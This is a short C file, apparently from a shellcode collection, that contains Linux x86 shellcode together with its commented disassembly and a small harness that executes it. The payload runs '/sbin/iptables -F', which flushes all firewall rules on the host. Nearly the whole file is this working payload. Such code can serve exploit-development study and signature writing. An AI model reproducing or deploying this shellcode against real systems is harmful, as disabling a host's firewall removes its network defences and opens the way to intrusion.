/*
. . . N i T r 0 u Z . . .
. . . nitrous@danitrous.org

$iptables -F
This is equivalent to deleting all the rules one by one.

optimiptables-f.o:     formato del fichero elf32-i386

Desensamblado de la sección .text:

00000000 <main>:
   0:	eb 1d                	jmp    1f <w00t>

00000002 <funky>:
   2:	5b                   	pop    %ebx
   3:	31 d2                	xor    %edx,%edx
   5:	88 53 0e             	mov    %dl,0xe(%ebx)
   8:	88 53 11             	mov    %dl,0x11(%ebx)
   b:	89 5b 12             	mov    %ebx,0x12(%ebx)
   e:	8d 73 0f             	lea    0xf(%ebx),%esi
  11:	89 73 16             	mov    %esi,0x16(%ebx)
  14:	89 53 1a             	mov    %edx,0x1a(%ebx)
  17:	8d 4b 12             	lea    0x12(%ebx),%ecx
  1a:	6a 0b                	push   $0xb
  1c:	58                   	pop    %eax
  1d:	cd 80                	int    $0x80

0000001f <w00t>:
  1f:	e8 de ff ff ff       	call   2 <funky>
*/

char fuckiptables[]=
"\xeb\x1d\x5b\x31\xd2\x88\x53\x0e\x88\x53\x11\x89\x5b\x12\x8d\x73"
"\x0f\x89\x73\x16\x89\x53\x1a\x8d\x4b\x12\x6a\x0b\x58\xcd\x80\xe8"
"\xde\xff\xff\xff/sbin/iptablesX-F";

main()
{
	__asm__("call fuckiptables");
}
